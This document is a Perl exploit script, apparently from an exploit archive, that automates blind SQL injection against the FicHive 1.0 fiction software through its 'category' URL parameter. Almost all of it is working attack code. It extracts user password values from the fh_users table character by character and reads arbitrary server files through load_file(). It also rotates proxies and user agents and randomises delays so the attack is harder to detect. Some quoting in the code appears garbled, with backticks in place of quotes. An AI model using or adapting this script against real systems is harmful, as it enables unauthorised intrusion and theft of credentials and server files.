FicHive 1.0 (category) Remote Blind SQL Injection Exploit#!/usr/bin/perl
#Usage: ./test.pl -url `http://localhost/[script_path]/index.php?go=Fiction&amp;category=<valide_id>
#############################################################################
use LWP::UserAgent;
use Getopt::Long;
use IO::Handle;
use strict;
$| = 1;


###############################################################################
my $default_debug = 0;
my $default_length = 13;
my $default_method = `GET`;
my $default_time = 0;
my $version = `1.1`;
my $default_useragent = `bsqlbf $version`;
my $default_dict = `dict.txt`;
my $default_sql = `fh_users.upass`;
my $default_blind =`category`;
my $default_match =`Genre: All/Genre:`;
###############################################################################


$| = 1;

my ($args, $abc, $solution);
my ($string, $char, @dic);
my (%vars, @varsb);
my ($lastvar, $lastval);
my ($scheme, $authority, $path, $query, $fragment);
my $hits = 0; 
my $usedict = 0; 
my $amatch = 0;
my ($ua,$req);

###############################################################################
# Define GetOpt:
my ($url, $sql, $time, $rtime, $match, $uagent, $charset, $debug);
my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent); 
my ($dict, $start, $length, $method, $cookie,$blind);
my ($help, $bincharset, $get, $nodict);

my $options = GetOptions (
  'help!'            => \$help, 
  'url=s'            => \$url,
  'get=s'            => \$get,
  'sql=s'            => \$sql,
  'blind=s'          => \$blind,
  'match=s'          => \$match,
  'charset=s'        => \$charset,
  'start=s'          => \$start,
  'length=s'         => \$length,
  'dict=s'           => \$dict,
  'method=s'	     => \$method,
  'uagent=s'	     => \$uagent,
  'ruagent=s'	     => \$ruagent,
  'cookie=s'	     => \$cookie,
  'proxy=s'          => \$proxy,
  'proxy_user=s'     => \$proxy_user,
  'proxy_pass=s'     => \$proxy_pass,
  'rproxy=s'         => \$rproxy,
  'debug!'           => \$debug, 
  'rtime=s'          => \$rtime, 
  'time=i'           => \$time );

&amp;help unless ($url);
&amp;help if $help eq 1;

#########################################################################
# Default Options.
$abc              = charset();
$uagent         ||= $default_useragent; 
$debug          ||= $default_debug; 
$length         ||= $default_length; 
$solution       ||= $start;
$method         ||= $default_method;
$sql            ||= $default_sql;
$time           ||= $default_time;
$blind          ||= $default_blind;
$match          ||= $default_match;


&amp;createlwp();
&amp;parseurl();

if ( ! defined($blind)) {
		$lastvar = $varsb[$#varsb];
		$lastval = $vars{$lastvar};
} else {
		$lastvar = $blind;
		$lastval = $vars{$blind};
}

if (defined($cookie)) { &amp;cookie() }



&amp;banner();
&amp;httpintro();


 
if ( ! $get) { &amp;sqlget() } else { &amp;fileget() }


sub fileget {
#ord(MID(compress(load_file(0xfilename)),1,1))
	$get =~ m,.*/(.*),;
	my $lget = $1;
	my $rsize = $start + 1;
	if (-e `$lget` &amp;&amp; ! $start) { 
		$rsize = -s `$lget`;
		print `Error: file ./$lget exists.\n`; 
		print `You can erase or resume it with: -start $rsize\n`;
		exit 1
	}
	my ($fstr,$i);
	my $fsize = ``;
 	$fstr = unpack(`H*`,`$get`);
	# GET size of file.
	$abc = `0123456789`;
	for ($i=1;$i<=15;$i++) {
		my $furl;
		my $find = 0;
		foreach (split/ */,$abc) {
			$find = 0; 
			$char = ord();
			$string = ` and mid(length(load_file(0x$fstr)),$i,1)=char($char)`;
			if (lc($method) eq `post`) {
				$vars{$lastvar} = $lastval . $string;
			}
			$furl = $url;
			$furl =~ s/($lastvar=$lastval)/$1$string/;
			&amp;createlwp if $rproxy || $ruagent;
			my $html=fetch(`$furl`);
			$hits++;
	    		foreach (split(/\n/,$html)) {
 				if (/\Q$match\E/) { 
				    my $asc=chr($char);
				    $fsize .= $asc;
				    $find = 1;
				 }
				last if $find == 1;
   	 		}
			last if $find == 1;
		}
		last if $find == 0;
	}
	if ($fsize < `1`) { print `Error: file not found, no permissions or ... who knows\n`; exit 1 }
	# starting ..
	$length = `$fsize bytes`;
	$abc = `getfile [256]`;
	$sql = `load_file($get)`;
	&amp;bsqlintro();
	# Get file
	open FILE, `>>$lget`;
	FILE->autoflush(1);
	print `\n--- BEGIN ---\n`;
	my ($i,$b,$fcontent);
	$rsize = 1 if $rsize < 1;
	for ($i=$rsize;$i<=$fsize+1;$i++) {
		my $find = 0;
		my ($furl, $b_start, $b_end, $z);
		for ($z=0;$z<272;$z+=16) {
			my $zz = $z + 16;
	$string = ` and ord(mid(load_file(0x$fstr),$i,1))>=$z and ord(mid(load_file(0x$fstr),$i,1))<=$zz`;
			if (lc($method) eq `post`) {
				$vars{$lastvar} = $lastval . $string;
			}
			$furl = $url;
			$furl =~ s/($lastvar=$lastval)/$1$string/;
			&amp;createlwp if $rproxy || $ruagent;
			my $html=fetch(`$furl`);
			$hits++;
			foreach (split(/\n/,$html)) {
 				if (/\Q$match\E/) { 
					$b_start = $z;
					$b_end = $z + 16;
					$find = 1;
				}
				last if $find == 1;
   			}
			last if $find == 1;
		}
		print `$fcontent`;	
		for ($b=$b_start;$b<=$b_end;$b++) {
			$find = 0; 
			$string = ` and mid(load_file(0x$fstr),$i,1)=char($b)`;
			if (lc($method) eq `post`) {
				$vars{$lastvar} = $lastval . $string;
			}
			$furl = $url;
			$furl =~ s/($lastvar=$lastval)/$1$string/;
			&amp;createlwp if $rproxy || $ruagent;
			my $html=fetch(`$furl`);
			$hits++;
	    		foreach (split(/\n/,$html)) {
 				if (/\Q$match\E/) { 
				    $fcontent = pack(`C*`,`$b`);
			   	    print FILE `$fcontent`;
				    $find = 1;
				 }
				last if $find == 1;
   	 		}
			last if $find == 1;
		}
 	}
	print `\n--- END ---\n`;
        close FILE;
	$solution = `success`;
}



sub sqlget {
	&amp;bsqlintro();
	$dict ||= $default_dict;
	open DICT,`$dict`;  @dic=<DICT>; close DICT;
	my $i;
	$nodict = 0;
	for ($i=length($start)+1;$i<=$length;$i++) {
		my $furl;
		my $find = 0;
		$abc = charset();
		&amp;bsqlintro if $debug == 1;
   		print `\r trying: $solution `;
		foreach (split/ */,$abc) {
			$find = 0; 
			$char = ord();
			$string = ` AND MID($sql,$i,1)=CHAR($char)`;
			    if (lc($method) eq `post`) {
				   $vars{$lastvar} = $lastval . $string;
				}
	    		print `\x08$_`;
			$furl = $url;
			$furl =~ s/($lastvar=$lastval)/$1$string/;
			&amp;createlwp if $rproxy || $ruagent;
			my $html=fetch(`$furl`);
			$hits++;
	    		foreach (split(/\n/,$html)) {
 				if (/\Q$match\E/) { 
				    my $asc=chr($char);
				    $solution .= $asc;
				    $find = 1;
				 }
				last if $find == 1;
   	 		}
			last if $find == 1;
		}
		if ($usedict ne 0 &amp;&amp; $find eq 0) { $nodict=1; $i--; }
		if ($find eq `0` &amp;&amp; $usedict eq `0`) { last; };
	}
}

&amp;result();

#########################################################################
sub httpintro {
	my ($strcookie, $strproxy, $struagent, $strtime, $i);
	
	
	if ($ruagent) { $struagent=`rnd.file:$ruagent` } else { $struagent = $uagent }
	
	
	foreach (keys %vars) {
		$i++;
		
	}
	if (! $cookie) { $strcookie=`(null)` } else { $strcookie = $cookie; }
	
	if (! $proxy &amp;&amp; !$rproxy) { $strproxy=`(null)` } else { $strproxy = $proxy; }
	if ($rproxy) { $strproxy = `rnd.file:$rproxy` }
	
	if (! $proxy_user) { $strproxy=`(null)` } else { $strproxy = $proxy_user; }
 	# timing
	if (! $time &amp;&amp; !$rtime) { $strtime=`0sec (default)` } 
	if ( $time == 0) { $strtime=`0 sec (default)` } 
	if ( $time == 1) { $strtime=`15 secs` } 
	if ( $time == 2) { $strtime=`5 mins` } 
	if ($rtime) { $strtime = `rnd.time:$rtime` }
	
}

sub bsqlintro {
	my ($strstart, $strblind, $strlen, $strmatch, $strsql);
	
	if ($blind eq $default_blind) { $strsql = `$blind (default)`; } else { $strblind = $blind; }
	if (! $blind) { $strblind = `(last) $lastvar`; } else { $strblind = $blind; }
	
	if ($length eq $default_length) { $strlen = `$length (default)` } else { $strlen = $length; }
	if ($sql eq $default_sql) { $strsql = `$sql (default)`; } else { $strsql = $sql; }
	
	
	if ($match eq $default_match) { $strmatch = `$match` } else { $strmatch = `$match`; }
	#printf (`%12s %-60s\n`,`$strmatch`,$match);
	
	print `-`x80; print `\n\n`;
}

#########################################################################

sub createlwp {
	my $proxyc;
	&amp;getproxy;
	&amp;getuagent if $ruagent;
	LWP::Debug::level('+') if $debug gt 3;
	$ua = new LWP::UserAgent(
        cookie_jar=> { file => `$$.cookie` }); 
	$ua->agent(`$uagent`);
	if (defined($proxy_user) &amp;&amp; defined($proxy_pass)) {
		my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
		$proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; 
		$proxyc = $pscheme.`://`.$proxy_user.`:`.$proxy_pass.`@`.$pauthority;
	} else { $proxyc = $proxy; }
	
	$ua->proxy(['http'] => $proxyc) if $proxy;
	undef $proxy if $rproxy;
	undef $uagent if $ruagent;
}	

sub cookie {
	# Cookies check
	if ($cookie || $cookie =~ /; /) {
		foreach my $c (split /;/, $cookie) {
			my ($a,$b) = split /=/, $c;
			if ( ! $a || ! $b ) { die `Wrong cookie value. Use -h for help\n`; }
		}
	}
}

sub parseurl {
 ###############################################################################
 # Official Regexp to parse URI. Thank you somebody.
	($scheme, $authority, $path, $query, $fragment) =
		$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; 
	# Parse args of URI into %vars and @varsb.
	foreach my $varval (split /&amp;/, $query) {
		my ($var, $val) = split /=/, $varval;
		$vars{$var} = $val;
		push(@varsb, $var);
	}
}

# Define CHARSET to use. Dictionary /// (TODO: fix ugly code)
sub charset {
	if ($hits ne 0 &amp;&amp; $nodict eq 0) {
		my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc;
		foreach my $line (@dic) {
			chomp $line; 
	   		if ($line =~ /\Q$solution\E/ &amp;&amp; $line !~ /^#/) {
				$foo = $line; $foo =~ s/\Q$solution\E//;
		 		foreach ((split/ */,$foo)) {
		  			if ($tmp{$_} ne `1` ) {
						$tmp{$_} = `1`; push (@b,$_);
					}
		 		}
			}
		}
   		 if ($#b >= 0) {
			foreach my $c (@b) { $abc .=$c;}
			$usedict = $abc;
			print `\nUsing a dictionary with this charset: $abc\n` if $debug == 1;
		 } else {
			$abc = chardefault()
		 }
	} else {
			$abc = chardefault()
	}
	return $abc;
}

sub chardefault {
	my $tmp;
	$abc = $charset;
	if (lc($charset) eq `md5`) {
		$abc = `abcdef0123456789\$.`;
	} elsif (lc($charset) eq `num`) {
		$abc = `0123456789`;
	} elsif (lc($charset) eq `all` || ! $charset) {
   		$abc = `abcdefghijklmnopqrstuvwxyz0123456789\$.:-_()[]{}º@=/\\|#?¿&amp;·!<>ñÑ`;
	}
	# If a dictionary has been used before, remove chars from current charset
	if ($usedict ne 0) {
		foreach (split(/ */, $usedict)) {
			$abc =~ s/$_//;
		}
	}
	$usedict = 0;
	return $abc;
}

sub auto_match {
	  $match = fmatch(`$url`);
}


#########################################################################
# Show options at running:
sub banner {
	print `\n // FicHive v1.0 Blind SQL injection (bsqlbf tool modified)\n`;
	print ` // Author:His0k4\n // Contact:his0k4.hlm[at]gmail.com\n\n`;
}


#########################################################################
# Get differences in HTML
sub fmatch {
 my ($ok,$rtrn);
 my ($furla, $furlb) = ($_[0], $_[0]);
 my ($html_a, $html_b);
 if (lc($method) eq `get`) {
	$furla =~ s/($lastvar=$lastval)/$1 AND 1=1/;
	$furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/;
 	$html_a = fetch(`$furla`);
	$html_b = fetch(`$furlb`);
 } elsif (lc($method) eq `post`) {
   $vars{$lastvar} = $lastval . ` AND 1=1`;
   $html_a = fetch(`$furla`);
   $vars{$lastvar} = $lastval . ` AND 1=0`;
   $html_b = fetch(`$furla`);
   $vars{$lastvar} = $lastval;
 }
 my @h_a = split(/\n/,$html_a);
 my @h_b = split(/\n/,$html_b);
 foreach my $a (@h_a) {
	$ok = 0;
	if ($a =~ /\w/) {
   		foreach (@h_b) {
		    if ($a eq $_) {$ok = 1; }
		}
	} else { $ok = 1; }
   $rtrn = $a;
   last if $ok ne 1;
 }
 return $rtrn;
}


#########################################################################
# Fetch HTML from WWW
sub fetch {
	my $secs;
	if ($time == 0) { $secs = 0 }
	elsif ($time == 1) { $secs = 15 }
	elsif ($time == 2) { $secs = 300 }
	if ($rtime =~ /\d*-\d*/ &amp;&amp; $time == 0) {
		my ($l,$p) = $rtime =~ m/(\d+-\d+)/;
		srand; $secs = int(rand($p-$l+1))+$l;
	} elsif ($rtime =~ /\d*-\d*/ &amp;&amp; $time != 0) {
		print `You can't run with -time and -rtime. See -help.\n`;
		exit 1;
	}
	sleep $secs;
	
	my $res;
	if (lc($method) eq `get`) {
		my $fetch = $_[0];
		if ($cookie) {
			$res = $ua->get(`$fetch`, Cookie => `$cookie`);
		} elsif (!$cookie) {
			$res = $ua->get(`$fetch`);
		}
	} elsif (lc($method) eq `post`) {
		my($s, $a, $p, $q, $f) =
  	    $url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; 
		my $fetch = `$s://$a`.$p;
		if ($cookie) {
	    	$res = $ua->post(`$fetch`,\%vars, Cookie => `$cookie`);
		} elsif (!$cookie) {
		    $res = $ua->post(`$fetch`,\%vars);
		}
	} else {
		die `Wrong httpd method. Use -h for help\n`;
	}
	my $html = $res->content();
	return $html;
}


sub getproxy {
	if ($rproxy &amp;&amp; $proxy !~ /http/) {
		my @lproxy;
		open PROXY, $rproxy or die `Can't open file: $rproxy\n`;
		while(<PROXY>) { push(@lproxy,$_) if ! /^#/ }
		close PROXY;
		srand; my $ind = rand @lproxy;
		$proxy = $lproxy[$ind];
	} elsif ($rproxy &amp;&amp; $proxy =~ /http/)  {
		print `You can't run with -proxy and -rproxy. See -help.\n`;
		exit 1;
	}
}

sub getuagent {
		my @uproxy;
		open UAGENT, $ruagent or die `Can't open file: $ruagent\n`;
		while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ }
		close UAGENT;
		srand; my $ind = rand @uproxy;
		$uagent = $uproxy[$ind];
		chop($uagent);
}

sub result {
	print `\r results:                                  \n` .
	 ` $sql = $solution\n` if length($solution) > 0; 
	print ` total hits: $hits\n`;
}


sub help {
	&amp;banner();
	print ` usage: $0 -url http://localhost/path/index.php?go=Fiction&amp;category=<id>\n`;
    exit(1);
}

# milw0rm.com [2008-05-17]
